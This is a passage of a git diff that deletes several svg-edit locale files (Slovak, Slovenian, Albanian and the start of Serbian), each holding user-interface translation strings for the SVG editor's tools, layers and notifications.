-		"QerrorsRevertToSource":"Была проблема при парсинге вашего SVG исходного кода.\nЗаменить его предыдущим SVG кодом?",
-		"QignoreSourceChanges":"Забыть без сохранения?",
-		"featNotSupported":"Возможность не реализована",
-		"enterNewImgURL":"Введите новый URL изображения",
-		"defsFailOnSave": "NOTE: Due to a bug in your browser, this image may appear wrong (missing gradients or elements). It will however appear correct once actually saved.",
-		"loadingImage":"Loading image, please wait...",
-		"saveFromBrowser": "Select \"Save As...\" in your browser to save this image as a %s file.",
-		"noteTheseIssues": "Also note the following issues: ",
-		"unsavedChanges": "There are unsaved changes.",
-		"enterNewLinkURL": "Enter the new hyperlink URL",
-		"errorLoadingSVG": "Error: Unable to load SVG data",
-		"URLloadFail": "Unable to load from URL",
-		"retrieving": "Retrieving \"%s\"..."
-	}
-});
\ No newline at end of file
diff --git a/public/svg-edit/editor/locale/lang.sk.js b/public/svg-edit/editor/locale/lang.sk.js
deleted file mode 100644
index 53bc7e50..00000000
--- a/public/svg-edit/editor/locale/lang.sk.js
+++ /dev/null
@@ -1,234 +0,0 @@
-svgEditor.readLang({
-	lang: "sk",
-	dir : "ltr",
-	common: {
-		"ok": "Uložiť",
-		"cancel": "Zrušiť",
-		"key_backspace": "Backspace", 
-		"key_del": "Delete", 
-		"key_down": "šípka dole", 
-		"key_up": "šípka hore", 
-		"more_opts": "More Options",
-		"url": "URL",
-		"width": "Width",
-		"height": "Height"
-	},
-	misc: {
-		"powered_by": "Beží na"
-	}, 
-	ui: {
-		"toggle_stroke_tools": "Skryť/ukázať viac nástrojov pre krivku",
-		"palette_info": "Kliknutím zmeníte farbu výplne, so Shiftom zmeníte farbu obrysu",
-		"zoom_level": "Zmena priblíženia",
-		"panel_drag": "Drag left/right to resize side panel"
-	},
-	properties: {
-		"id": "Zmeniť ID elementu",
-		"fill_color": "Zmeniť farbu výplne",
-		"stroke_color": "Zmena farby obrysu",
-		"stroke_style": "Zmeniť štýl obrysu",
-		"stroke_width": "Zmeniť šírku obrysu",
-		"pos_x": "Zmeniť súradnicu X",
-		"pos_y": "Zmeniť súradnicu Y",
-		"linecap_butt": "Koniec čiary: presný",
-		"linecap_round": "Koniec čiary: zaoblený",
-		"linecap_square": "Koniec čiary: so štvorcovým presahom",
-		"linejoin_bevel": "Napojenie čiar: skosené",
-		"linejoin_miter": "Napojenie čiar: ostré",
-		"linejoin_round": "Napojenie čiar: oblé",
-		"angle": "Zmeniť uhol natočenia",
-		"blur": "Zmeniť intenzitu rozmazania",
-		"opacity": "Zmeniť prehľadnosť vybraných položiek",
-		"circle_cx": "Zmeniť súradnicu X stredu kružnice",
-		"circle_cy": "Zmeniť súradnicu Y stredu kružnice",
-		"circle_r": "Zmeniť polomer kružnice",
-		"ellipse_cx": "Zmeniť súradnicu X stredu elipsy",
-		"ellipse_cy": "Zmeniť súradnicu Y stredu elipsy",
-		"ellipse_rx": "Zmeniť polomer X elipsy",
-		"ellipse_ry": "Zmeniť polomer Y elipsy",
-		"line_x1": "Zmeniť počiatočnú súradnicu X čiary",
-		"line_x2": "Zmeniť koncovú súradnicu X čiary",
-		"line_y1": "Zmeniť počiatočnú súradnicu Y čiary",
-		"line_y2": "Zmeniť koncovú súradnicu Y čiary",
-		"rect_height": "Zmena výšku obdĺžnika",
-		"rect_width": "Zmeniť šírku obdĺžnika",
-		"corner_radius": "Zmeniť zaoblenie rohov obdĺžnika",
-		"image_width": "Zmeniť šírku obrázka",
-		"image_height": "Zmeniť výšku obrázka",
-		"image_url": "Zmeniť URL",
-		"node_x": "Zmeniť uzlu súradnicu X",
-		"node_y": "Zmeniť uzlu súradnicu Y",
-		"seg_type": "Zmeniť typ segmentu",
-		"straight_segments": "Rovný",
-		"curve_segments": "Krivka",
-		"text_contents": "Změnit text",
-		"font_family": "Zmeniť font",
-		"font_size": "Zmeniť veľkosť písma",
-		"bold": "Tučne",
-		"italic": "Kurzíva"
-	},
-	tools: { 
-		"main_menu": "Hlavné menu",
-		"bkgnd_color_opac": "Zmeniť farbu a priehľadnosť pozadia",
-		"connector_no_arrow": "Bez šípok",
-		"fitToContent": "Prispôsobiť obsahu",
-		"fit_to_all": "Prisposobiť celému obsahu",
-		"fit_to_canvas": "Prispôsobiť stránke",
-		"fit_to_layer_content": "Prispôsobiť obsahu vrstvy",
-		"fit_to_sel": "Prispôsobiť výberu",
-		"align_relative_to": "Zarovnať relatívne k ...",
-		"relativeTo": "vzhľadom k:",
-		"stránke": "stránke",
-		"largest_object": "najväčšiemu objektu",
-		"selected_objects": "zvoleným objektom",
-		"smallest_object": "najmenšiemu objektu",
-		"new_doc": "Nový obrázok",
-		"open_doc": "Otvoriť obrázok",
-		"export_png": "Exportovať ako PNG",
-		"save_doc": "Uložiť obrázok",
-		"import_doc": "Import SVG",
-		"align_to_page": "Zarovnať element na stránku",
-		"align_bottom": "Zarovnať dole",
-		"align_center": "Zarovnať na stred",
-		"align_left": "Zarovnať doľava",
-		"align_middle": "Zarovnať na stred",
-		"align_right": "Zarovnať doprava",
-		"align_top": "Zarovnať hore",
-		"mode_select": "Výber",
-		"mode_fhpath": "Ceruzka",
-		"mode_line": "Čiara",
-		"mode_connect": "Spojiť dva objekty",
-		"mode_rect": "Rectangle Tool",
-		"mode_square": "Square Tool",
-		"mode_fhrect": "Obdĺžnik voľnou rukou",
-		"mode_ellipse": "Elipsa",
-		"mode_circle": "Kružnica",
-		"mode_fhellipse": "Elipsa voľnou rukou",
-		"mode_path": "Krivka",
-		"mode_shapelib": "Shape library",
-		"mode_text": "Text",
-		"mode_image": "Obrázok",
-		"mode_zoom": "Priblíženie",
-		"mode_eyedropper": "Pipeta",
-		"no_embed": "POZNÁMKA: Tento obrázok nemôže byť vložený. Jeho zobrazenie bude závisieť na jeho ceste",
-		"undo": "Späť",
-		"redo": "Opakovať",
-		"tool_source": "Upraviť SVG kód",
-		"wireframe_mode": "Drôtový model",
-		"toggle_grid": "Show/Hide Grid",
-		"clone": "Clone Element(s)",
-		"del": "Delete Element(s)",
-		"group": "Zoskupiť elementy",
-		"make_link": "Make (hyper)link",
-		"set_link_url": "Set link URL (leave empty to remove)",
-		"to_path": "Previesť na krivku",
-		"reorient_path": "Zmeniť orientáciu krivky",
-		"ungroup": "Zrušiť skupinu",
-		"docprops": "Vlastnosti dokumentu",
-		"imagelib": "Image Library",
-		"move_bottom": "Presunúť spodok",
-		"move_top": "Presunúť na vrch",
-		"node_clone": "Klonovať uzol",
-		"node_delete": "Zmazať uzol",
-		"node_link": "Prepojiť kontrolné body",
-		"add_subpath": "Pridať daľšiu súčasť krivky",
-		"openclose_path": "Otvoriť/uzatvoriť súčasť krivky",
-		"source_save": "Uložiť",
-		"cut": "Cut",
-		"copy": "Copy",
-		"paste": "Paste",
-		"paste_in_place": "Paste in Place",
-		"Delete": "Delete",
-		"group": "Group",
-		"move_front": "Bring to Front",
-		"move_up": "Bring Forward",
-		"move_down": "Send Backward",
-		"move_back": "Send to Back"
-	},
-	layers: {
-		"layer":"Vrstva",
-		"layers": "Layers",
-		"del": "Odstrániť vrstvu",
-		"move_down": "Presunúť vrstvu dole",
-		"new": "Nová vrstva",
-		"rename": "Premenovať vrstvu",
-		"move_up": "Presunúť vrstvu hore",
-		"dupe": "Duplicate Layer",
-		"merge_down": "Merge Down",
-		"merge_all": "Merge All",
-		"move_elems_to": "Presunút elementy do:",
-		"move_selected": "Presunúť vybrané elementy do inej vrstvy"
-	},
-	config: {
-		"image_props": "Vlastnosti obrázka",
-		"doc_title": "Titulok",
-		"doc_dims": "Rozmery plátna",
-		"included_images": "Vložené obrázky",
-		"image_opt_embed": "Vložiť data (lokálne súbory)",
-		"image_opt_ref": "Použiť referenciu na súbor",
-		"editor_prefs": "Vlastnosti editora",
-		"icon_size": "Veľkosť ikon",
-		"language": "Jazyk",
-		"background": "Zmeniť pozadie",
-		"editor_img_url": "Image URL",
-		"editor_bg_note": "Poznámka: Pozadie nebude uložené spolu s obrázkom.",
-		"icon_large": "Veľká",
-		"icon_medium": "Stredná",
-		"icon_small": "Malá",
-		"icon_xlarge": "Extra veľká",
-		"select_predefined": "Vybrať preddefinovaný:",
-		"units_and_rulers": "Units & Rulers",
-		"show_rulers": "Show rulers",
-		"base_unit": "Base Unit:",
-		"grid": "Grid",
-		"snapping_onoff": "Snapping on/off",
-		"snapping_stepsize": "Snapping Step-Size:"
-	},
-	shape_cats: {
-		"basic": "Basic",
-		"object": "Objects",
-		"symbol": "Symbols",
-		"arrow": "Arrows",
-		"flowchart": "Flowchart",
-		"animal": "Animals",
-		"game": "Cards & Chess",
-		"dialog_balloon": "Dialog balloons",
-		"electronics": "Electronics",
-		"math": "Mathematical",
-		"music": "Music",
-		"misc": "Miscellaneous",
-		"raphael_1": "raphaeljs.com set 1",
-		"raphael_2": "raphaeljs.com set 2"
-	},
-	imagelib: {
-		"select_lib": "Select an image library",
-		"show_list": "Show library list",
-		"import_single": "Import single",
-		"import_multi": "Import multiple",
-		"open": "Open as new document"
-	},
-	notification: {
-		"invalidAttrValGiven":"Neplatná hodnota",
-		"noContentToFitTo":"Vyberte oblasť na prispôsobenie",
-		"dupeLayerName":"Vrstva s daným názvom už existuje!",
-		"enterUniqueLayerName":"Zadajte jedinečný názov vrstvy",
-		"enterNewLayerName":"Zadajte názov vrstvy",
-		"layerHasThatName":"Vrstva už má zadaný názov",
-		"QmoveElemsToLayer":"Presunúť elementy do vrstvy '%s'?",
-		"QwantToClear":"Naozaj chcete vymazať kresbu?\n(História bude taktiež vymazaná!)!",
-		"QwantToOpen":"Do you want to open a new file?\nThis will also erase your undo history!",
-		"QerrorsRevertToSource":"Chyba pri načítaní SVG dokumentu.\nVrátiť povodný SVG dokument?",
-		"QignoreSourceChanges":"Ignorovať zmeny v SVG dokumente?",
-		"featNotSupported":"Vlastnosť nie je podporovaná",
-		"enterNewImgURL":"Zadajte nové URL obrázka",
-		"defsFailOnSave": "POZNÁMKA: Kvôli chybe v prehliadači sa tento obrázok môže zobraziť nesprávne (napr. chýbajúce prechody či elementy). Po uložení sa zobrazí správne.",
-		"loadingImage":"Nahrávam obrázok, prosím čakajte ...",
-		"saveFromBrowser": "Vyberte \"Uložiť ako ...\" vo vašom prehliadači na uloženie tohoto obrázka do súboru %s.",
-		"noteTheseIssues": "Môžu sa vyskytnúť nasledujúce problémy: ",
-		"unsavedChanges": "There are unsaved changes.",
-		"enterNewLinkURL": "Enter the new hyperlink URL",
-		"errorLoadingSVG": "Error: Unable to load SVG data",
-		"URLloadFail": "Unable to load from URL",
-		"retrieving": "Retrieving \"%s\"..."
-	}
-});
\ No newline at end of file
diff --git a/public/svg-edit/editor/locale/lang.sl.js b/public/svg-edit/editor/locale/lang.sl.js
deleted file mode 100644
index e969a8bb..00000000
--- a/public/svg-edit/editor/locale/lang.sl.js
+++ /dev/null
@@ -1,234 +0,0 @@
-svgEditor.readLang({
-	lang: "sl",
-	dir : "ltr",
-	common: {
-		"ok": "Shraniti",
-		"cancel": "Prekliči",
-		"key_backspace": "backspace", 
-		"key_del": "delete", 
-		"key_down": "down", 
-		"key_up": "up", 
-		"more_opts": "More Options",
-		"url": "URL",
-		"width": "Width",
-		"height": "Height"
-	},
-	misc: {
-		"powered_by": "Powered by"
-	}, 
-	ui: {
-		"toggle_stroke_tools": "Show/hide more stroke tools",
-		"palette_info": "Kliknite, če želite spremeniti barvo polnila, premik miške kliknite spremeniti barvo kap",
-		"zoom_level": "Spreminjanje povečave",
-		"panel_drag": "Drag left/right to resize side panel"
-	},
-	properties: {
-		"id": "Identify the element",
-		"fill_color": "Spremeni barvo polnila",
-		"stroke_color": "Spremeni barvo kap",
-		"stroke_style": "Spremeni kap dash slog",
-		"stroke_width": "Spreminjanje širine kap",
-		"pos_x": "Change X coordinate",
-		"pos_y": "Change Y coordinate",
-		"linecap_butt": "Linecap: Butt",
-		"linecap_round": "Linecap: Round",
-		"linecap_square": "Linecap: Square",
-		"linejoin_bevel": "Linejoin: Bevel",
-		"linejoin_miter": "Linejoin: Miter",
-		"linejoin_round": "Linejoin: Round",
-		"angle": "Sprememba kota rotacije",
-		"blur": "Change gaussian blur value",
-		"opacity": "Spremeni izbran predmet motnosti",
-		"circle_cx": "Spremeni krog&#39;s CX usklajujejo",
-		"circle_cy": "Spremeni krog&#39;s cy usklajujejo",
-		"circle_r": "Spremeni krogu polmera",
-		"ellipse_cx": "Spremeni elipse&#39;s CX usklajujejo",
-		"ellipse_cy": "Spremeni elipse&#39;s cy usklajujejo",
-		"ellipse_rx": "Spremeni elipse&#39;s x polmer",
-		"ellipse_ry": "Spremeni elipse&#39;s y polmer",
-		"line_x1": "Spremeni skladu z začetkom x usklajujejo",
-		"line_x2": "Change line je končalo x usklajujejo",
-		"line_y1": "Change line&#39;s začetkom y usklajujejo",
-		"line_y2": "Change line je končalo y usklajujejo",
-		"rect_height": "Spremeni pravokotniku višine",
-		"rect_width": "Spremeni pravokotnik širine",
-		"corner_radius": "Spremeni Pravokotnik Corner Radius",
-		"image_width": "Spremeni Širina slike",
-		"image_height": "Spremeni Višina slike",
-		"image_url": "Spremeni URL",
-		"node_x": "Change node's x coordinate",
-		"node_y": "Change node's y coordinate",
-		"seg_type": "Change Segment type",
-		"straight_segments": "Straight",
-		"curve_segments": "Curve",
-		"text_contents": "Spremeni besedilo vsebino",
-		"font_family": "Change Font Family",
-		"font_size": "Spremeni velikost pisave",
-		"bold": "Bold Text",
-		"italic": "Italic Text"
-	},
-	tools: { 
-		"main_menu": "Main Menu",
-		"bkgnd_color_opac": "Spreminjanje barve ozadja / motnosti",
-		"connector_no_arrow": "No arrow",
-		"fitToContent": "Fit to Content",
-		"fit_to_all": "Fit na vse vsebine",
-		"fit_to_canvas": "Fit na platno",
-		"fit_to_layer_content": "Fit na plast vsebine",
-		"fit_to_sel": "Fit za izbor",
-		"align_relative_to": "Poravnaj glede na ...",
-		"relativeTo": "glede na:",
-		"page": "page",
-		"largest_object": "Največji objekt",
-		"selected_objects": "izvoljeni predmeti",
-		"smallest_object": "najmanjša objekt",
-		"new_doc": "New Image",
-		"open_doc": "Open Image",
-		"export_png": "Export as PNG",
-		"save_doc": "Shrani slike",
-		"import_doc": "Import SVG",
-		"align_to_page": "Align Element to Page",
-		"align_bottom": "Align Bottom",
-		"align_center": "Sredino",
-		"align_left": "Poravnaj levo",
-		"align_middle": "Poravnava Middle",
-		"align_right": "Poravnaj desno",
-		"align_top": "Poravnava Top",
-		"mode_select": "Select Tool",
-		"mode_fhpath": "Pencil Tool",
-		"mode_line": "Line Tool",
-		"mode_connect": "Connect two objects",
-		"mode_rect": "Rectangle Tool",
-		"mode_square": "Square Tool",
-		"mode_fhrect": "Free-Hand pravokotnik",
-		"mode_ellipse": "Elipsa",
-		"mode_circle": "Circle",
-		"mode_fhellipse": "Free-Hand Elipsa",
-		"mode_path": "Path Tool",
-		"mode_shapelib": "Shape library",
-		"mode_text": "Text Tool",
-		"mode_image": "Image Tool",
-		"mode_zoom": "Zoom Tool",
-		"mode_eyedropper": "Eye Dropper Tool",
-		"no_embed": "NOTE: This image cannot be embedded. It will depend on this path to be displayed",
-		"undo": "Undo",
-		"redo": "Redo",
-		"tool_source": "Edit Vir",
-		"wireframe_mode": "Wireframe Mode",
-		"toggle_grid": "Show/Hide Grid",
-		"clone": "Clone Element(s)",
-		"del": "Delete Element(s)",
-		"group": "Skupina Elements",
-		"make_link": "Make (hyper)link",
-		"set_link_url": "Set link URL (leave empty to remove)",
-		"to_path": "Convert to Path",
-		"reorient_path": "Reorient path",
-		"ungroup": "Razdruži Elements",
-		"docprops": "Document Properties",
-		"imagelib": "Image Library",
-		"move_bottom": "Premakni v Bottom",
-		"move_top": "Premakni na vrh",
-		"node_clone": "Clone Node",
-		"node_delete": "Delete Node",
-		"node_link": "Link Control Points",
-		"add_subpath": "Add sub-path",
-		"openclose_path": "Open/close sub-path",
-		"source_save": "Shraniti",
-		"cut": "Cut",
-		"copy": "Copy",
-		"paste": "Paste",
-		"paste_in_place": "Paste in Place",
-		"delete": "Delete",
-		"group": "Group",
-		"move_front": "Bring to Front",
-		"move_up": "Bring Forward",
-		"move_down": "Send Backward",
-		"move_back": "Send to Back"
-	},
-	layers: {
-		"layer":"Layer",
-		"layers": "Layers",
-		"del": "Delete Layer",
-		"move_down": "Move Down Layer",
-		"new": "New Layer",
-		"rename": "Rename Layer",
-		"move_up": "Move Up Layer",
-		"dupe": "Duplicate Layer",
-		"merge_down": "Merge Down",
-		"merge_all": "Merge All",
-		"move_elems_to": "Move elements to:",
-		"move_selected": "Move selected elements to a different layer"
-	},
-	config: {
-		"image_props": "Image Properties",
-		"doc_title": "Title",
-		"doc_dims": "Canvas Dimensions",
-		"included_images": "Included Images",
-		"image_opt_embed": "Embed data (local files)",
-		"image_opt_ref": "Use file reference",
-		"editor_prefs": "Editor Preferences",
-		"icon_size": "Icon size",
-		"language": "Language",
-		"background": "Editor Background",
-		"editor_img_url": "Image URL",
-		"editor_bg_note": "Note: Background will not be saved with image.",
-		"icon_large": "Large",
-		"icon_medium": "Medium",
-		"icon_small": "Small",
-		"icon_xlarge": "Extra Large",
-		"select_predefined": "Select vnaprej:",
-		"units_and_rulers": "Units & Rulers",
-		"show_rulers": "Show rulers",
-		"base_unit": "Base Unit:",
-		"grid": "Grid",
-		"snapping_onoff": "Snapping on/off",
-		"snapping_stepsize": "Snapping Step-Size:"
-	},
-	shape_cats: {
-		"basic": "Basic",
-		"object": "Objects",
-		"symbol": "Symbols",
-		"arrow": "Arrows",
-		"flowchart": "Flowchart",
-		"animal": "Animals",
-		"game": "Cards & Chess",
-		"dialog_balloon": "Dialog balloons",
-		"electronics": "Electronics",
-		"math": "Mathematical",
-		"music": "Music",
-		"misc": "Miscellaneous",
-		"raphael_1": "raphaeljs.com set 1",
-		"raphael_2": "raphaeljs.com set 2"
-	},
-	imagelib: {
-		"select_lib": "Select an image library",
-		"show_list": "Show library list",
-		"import_single": "Import single",
-		"import_multi": "Import multiple",
-		"open": "Open as new document"
-	},
-	notification: {
-		"invalidAttrValGiven":"Invalid value given",
-		"noContentToFitTo":"No content to fit to",
-		"dupeLayerName":"There is already a layer named that!",
-		"enterUniqueLayerName":"Please enter a unique layer name",
-		"enterNewLayerName":"Please enter the new layer name",
-		"layerHasThatName":"Layer already has that name",
-		"QmoveElemsToLayer":"Move selected elements to layer '%s'?",
-		"QwantToClear":"Do you want to clear the drawing?\nThis will also erase your undo history!",
-		"QwantToOpen":"Do you want to open a new file?\nThis will also erase your undo history!",
-		"QerrorsRevertToSource":"There were parsing errors in your SVG source.\nRevert back to original SVG source?",
-		"QignoreSourceChanges":"Ignore changes made to SVG source?",
-		"featNotSupported":"Feature not supported",
-		"enterNewImgURL":"Enter the new image URL",
-		"defsFailOnSave": "NOTE: Due to a bug in your browser, this image may appear wrong (missing gradients or elements). It will however appear correct once actually saved.",
-		"loadingImage":"Loading image, please wait...",
-		"saveFromBrowser": "Select \"Save As...\" in your browser to save this image as a %s file.",
-		"noteTheseIssues": "Also note the following issues: ",
-		"unsavedChanges": "There are unsaved changes.",
-		"enterNewLinkURL": "Enter the new hyperlink URL",
-		"errorLoadingSVG": "Error: Unable to load SVG data",
-		"URLloadFail": "Unable to load from URL",
-		"retrieving": "Retrieving \"%s\"..."
-	}
-});
\ No newline at end of file
diff --git a/public/svg-edit/editor/locale/lang.sq.js b/public/svg-edit/editor/locale/lang.sq.js
deleted file mode 100644
index afa2b56e..00000000
--- a/public/svg-edit/editor/locale/lang.sq.js
+++ /dev/null
@@ -1,234 +0,0 @@
-svgEditor.readLang({
-	lang: "sq",
-	dir : "ltr",
-	common: {
-		"ok": "Ruaj",
-		"cancel": "Anulo",
-		"key_backspace": "backspace", 
-		"key_del": "delete", 
-		"key_down": "down", 
-		"key_up": "up", 
-		"more_opts": "More Options",
-		"url": "URL",
-		"width": "Width",
-		"height": "Height"
-	},
-	misc: {
-		"powered_by": "Powered by"
-	}, 
-	ui: {
-		"toggle_stroke_tools": "Show/hide more stroke tools",
-		"palette_info": "Klikoni për të ndryshuar mbushur me ngjyra, shift-klikoni për të ndryshuar ngjyrën pash",
-		"zoom_level": "Ndryshimi zoom nivel",
-		"panel_drag": "Drag left/right to resize side panel"
-	},
-	properties: {
-		"id": "Identify the element",
-		"fill_color": "Ndryshimi mbush color",
-		"stroke_color": "Change color pash",
-		"stroke_style": "Ndryshimi dash goditje stil",
-		"stroke_width": "Ndryshimi goditje width",
-		"pos_x": "Change X coordinate",
-		"pos_y": "Change Y coordinate",
-		"linecap_butt": "Linecap: Butt",
-		"linecap_round": "Linecap: Round",
-		"linecap_square": "Linecap: Square",
-		"linejoin_bevel": "Linejoin: Bevel",
-		"linejoin_miter": "Linejoin: Miter",
-		"linejoin_round": "Linejoin: Round",
-		"angle": "Kënd Ndryshimi rrotullim",
-		"blur": "Change gaussian blur value",
-		"opacity": "Ndryshimi zgjedhur errësirë item",
-		"circle_cx": "Cx rrethi Ndryshimi i bashkërenduar",
-		"circle_cy": "Ndryshimi i rrethit cy koordinuar",
-		"circle_r": "Rreze rreth Ndryshimi i",
-		"ellipse_cx": "Ndryshimi elips e cx koordinuar",
-		"ellipse_cy": "Elips cy Ndryshimi i bashkërenduar",
-		"ellipse_rx": "Rreze x elips Ndryshimi i",
-		"ellipse_ry": "Radiusi y elips ndërroj",
-		"line_x1": "Shkarko Ndryshimi që fillon x koordinuar",
-		"line_x2": "Linjë Ndryshimi i fund x koordinuar",
-		"line_y1": "Shkarko Ndryshimi që fillon y koordinuar",
-		"line_y2": "Shkarko Ndryshimi i dhënë fund y koordinuar",
-		"rect_height": "Height Ndryshimi drejtkëndësh",
-		"rect_width": "Width Ndryshimi drejtkëndësh",
-		"corner_radius": "Ndryshimi Rectangle Corner Radius",
-		"image_width": "Ndryshimi image width",
-		"image_height": "Height të ndryshuar imazhin",
-		"image_url": "Ndrysho URL",
-		"node_x": "Change node's x coordinate",
-		"node_y": "Change node's y coordinate",
-		"seg_type": "Change Segment type",
-		"straight_segments": "Straight",
-		"curve_segments": "Curve",
-		"text_contents": "Text contents Ndryshimi",
-		"font_family": "Ndryshimi Font Family",
-		"font_size": "Ndryshimi Font Size",
-		"bold": "Bold Text",
-		"italic": "Italic Text"
-	},
-	tools: { 
-		"main_menu": "Main Menu",
-		"bkgnd_color_opac": "Change color background / patejdukshmëri",
-		"connector_no_arrow": "No arrow",
-		"fitToContent": "Fit to Content",
-		"fit_to_all": "Fit për të gjithë përmbajtjen",
-		"fit_to_canvas": "Fit në kanavacë",
-		"fit_to_layer_content": "Shtresë Fit to content",
-		"fit_to_sel": "Fit to Selection",
-		"align_relative_to": "Vendose në lidhje me ...",
-		"relativeTo": "lidhje me:",
-		"faqe": "faqe",
-		"largest_object": "madh objekt",
-		"selected_objects": "objektet e zgjedhur",
-		"smallest_object": "objektit më të vogël",
-		"new_doc": "New Image",
-		"open_doc": "Image Hapur",
-		"export_png": "Export as PNG",
-		"save_doc": "Image Ruaj",
-		"import_doc": "Import SVG",
-		"align_to_page": "Align Element to Page",
-		"align_bottom": "Align Bottom",
-		"align_center": "Align Center",
-		"align_left": "Align Left",
-		"align_middle": "Align Mesme",
-		"align_right": "Align Right",
-		"align_top": "Align Top",
-		"mode_select": "Zgjidhni Tool",
-		"mode_fhpath": "Pencil Tool",
-		"mode_line": "Line Tool",
-		"mode_connect": "Connect two objects",
-		"mode_rect": "Rectangle Tool",
-		"mode_square": "Square Tool",
-		"mode_fhrect": "Lëndë Hand Rectangle",
-		"mode_ellipse": "Elips",
-		"mode_circle": "Rrethi",
-		"mode_fhellipse": "Free-Hand Ellipse",
-		"mode_path": "Path Tool",
-		"mode_shapelib": "Shape library",
-		"mode_text": "Text Tool",
-		"mode_image": "Image Tool",
-		"mode_zoom": "Zoom Tool",
-		"mode_eyedropper": "Eye Dropper Tool",
-		"no_embed": "NOTE: This image cannot be embedded. It will depend on this path to be displayed",
-		"undo": "Undo",
-		"redo": "Redo",
-		"tool_source": "Burimi Edit",
-		"wireframe_mode": "Wireframe Mode",
-		"toggle_grid": "Show/Hide Grid",
-		"clone": "Clone Element(s)",
-		"del": "Delete Element(s)",
-		"group": "Elementet e Grupit",
-		"make_link": "Make (hyper)link",
-		"set_link_url": "Set link URL (leave empty to remove)",
-		"to_path": "Convert to Path",
-		"reorient_path": "Reorient path",
-		"ungroup": "Elemente Ungroup",
-		"docprops": "Dokumenti Prona",
-		"imagelib": "Image Library",
-		"move_bottom": "Move to Bottom",
-		"move_top": "Move to Top",
-		"node_clone": "Clone Node",
-		"node_delete": "Delete Node",
-		"node_link": "Link Control Points",
-		"add_subpath": "Add sub-path",
-		"openclose_path": "Open/close sub-path",
-		"source_save": "Ruaj",
-		"cut": "Cut",
-		"copy": "Copy",
-		"paste": "Paste",
-		"paste_in_place": "Paste in Place",
-		"delete": "Delete",
-		"group": "Group",
-		"move_front": "Bring to Front",
-		"move_up": "Bring Forward",
-		"move_down": "Send Backward",
-		"move_back": "Send to Back"
-	},
-	layers: {
-		"layer":"Layer",
-		"layers": "Layers",
-		"del": "Delete Layer",
-		"move_down": "Move Down Layer",
-		"new": "Re Shtresa",
-		"rename": "Rename Layer",
-		"move_up": "Move Up Layer",
-		"dupe": "Duplicate Layer",
-		"merge_down": "Merge Down",
-		"merge_all": "Merge All",
-		"move_elems_to": "Move elements to:",
-		"move_selected": "Move selected elements to a different layer"
-	},
-	config: {
-		"image_props": "Image Properties",
-		"doc_title": "Title",
-		"doc_dims": "Canvas Dimensions",
-		"included_images": "Included Images",
-		"image_opt_embed": "Embed data (local files)",
-		"image_opt_ref": "Use file reference",
-		"editor_prefs": "Editor Preferences",
-		"icon_size": "Icon size",
-		"language": "Language",
-		"background": "Editor Background",
-		"editor_img_url": "Image URL",
-		"editor_bg_note": "Note: Background will not be saved with image.",
-		"icon_large": "Large",
-		"icon_medium": "Medium",
-		"icon_small": "Small",
-		"icon_xlarge": "Extra Large",
-		"select_predefined": "Zgjidhni paracaktuara:",
-		"units_and_rulers": "Units & Rulers",
-		"show_rulers": "Show rulers",
-		"base_unit": "Base Unit:",
-		"grid": "Grid",
-		"snapping_onoff": "Snapping on/off",
-		"snapping_stepsize": "Snapping Step-Size:"
-	},
-	shape_cats: {
-		"basic": "Basic",
-		"object": "Objects",
-		"symbol": "Symbols",
-		"arrow": "Arrows",
-		"flowchart": "Flowchart",
-		"animal": "Animals",
-		"game": "Cards & Chess",
-		"dialog_balloon": "Dialog balloons",
-		"electronics": "Electronics",
-		"math": "Mathematical",
-		"music": "Music",
-		"misc": "Miscellaneous",
-		"raphael_1": "raphaeljs.com set 1",
-		"raphael_2": "raphaeljs.com set 2"
-	},
-	imagelib: {
-		"select_lib": "Select an image library",
-		"show_list": "Show library list",
-		"import_single": "Import single",
-		"import_multi": "Import multiple",
-		"open": "Open as new document"
-	},
-	notification: {
-		"invalidAttrValGiven":"Invalid value given",
-		"noContentToFitTo":"No content to fit to",
-		"dupeLayerName":"There is already a layer named that!",
-		"enterUniqueLayerName":"Please enter a unique layer name",
-		"enterNewLayerName":"Please enter the new layer name",
-		"layerHasThatName":"Layer already has that name",
-		"QmoveElemsToLayer":"Move selected elements to layer '%s'?",
-		"QwantToClear":"Do you want to clear the drawing?\nThis will also erase your undo history!",
-		"QwantToOpen":"Do you want to open a new file?\nThis will also erase your undo history!",
-		"QerrorsRevertToSource":"There were parsing errors in your SVG source.\nRevert back to original SVG source?",
-		"QignoreSourceChanges":"Ignore changes made to SVG source?",
-		"featNotSupported":"Feature not supported",
-		"enterNewImgURL":"Enter the new image URL",
-		"defsFailOnSave": "NOTE: Due to a bug in your browser, this image may appear wrong (missing gradients or elements). It will however appear correct once actually saved.",
-		"loadingImage":"Loading image, please wait...",
-		"saveFromBrowser": "Select \"Save As...\" in your browser to save this image as a %s file.",
-		"noteTheseIssues": "Also note the following issues: ",
-		"unsavedChanges": "There are unsaved changes.",
-		"enterNewLinkURL": "Enter the new hyperlink URL",
-		"errorLoadingSVG": "Error: Unable to load SVG data",
-		"URLloadFail": "Unable to load from URL",
-		"retrieving": "Retrieving \"%s\"..."
-	}
-});
\ No newline at end of file
diff --git a/public/svg-edit/editor/locale/lang.sr.js b/public/svg-edit/editor/locale/lang.sr.js
deleted file mode 100644
index 2866b894..00000000
--- a/public/svg-edit/editor/locale/lang.sr.js
+++ /dev/null
@@ -1,234 +0,0 @@
-svgEditor.readLang({
-	lang: "sr",
-	dir : "ltr",
-	common: {
-		"ok": "Сачувати",
-		"cancel": "Откажи",
-		"key_backspace": "backspace", 
-		"key_del": "delete", 
-		"key_down": "down", 
-		"key_up": "up", 
-		"more_opts": "More Options",
-		"url": "URL",
-		"width": "Width",
-		"height": "Height"
-	},
-	misc: {
-		"powered_by": "Powered by"
-	}, 
-	ui: {
-		"toggle_stroke_tools": "Show/hide more stroke tools",
-		"palette_info": "Кликните да бисте променили боју попуне, Схифт-кликните да промените боју удар",
-		"zoom_level": "Промените ниво зумирања",
-		"panel_drag": "Drag left/right to resize side panel"
-	},
-	properties: {
-		"id": "Identify the element",
-		"fill_color": "Промена боје попуне",
-		"stroke_color": "Промена боје удар",
-		"stroke_style": "Промена ход Дасх стил",
-		"stroke_width": "Промена удара ширина",
-		"pos_x": "Change X coordinate",
-		"pos_y": "Change Y coordinate",
-		"linecap_butt": "Linecap: Butt",
-		"linecap_round": "Linecap: Round",
-		"linecap_square": "Linecap: Square",
-		"linejoin_bevel": "Linejoin: Bevel",
-		"linejoin_miter": "Linejoin: Miter",
-		"linejoin_round": "Linejoin: Round",
-		"angle": "Промени ротације Угао",
-		"blur": "Change gaussian blur value",
-		"opacity": "Промена изабране ставке непрозирност",
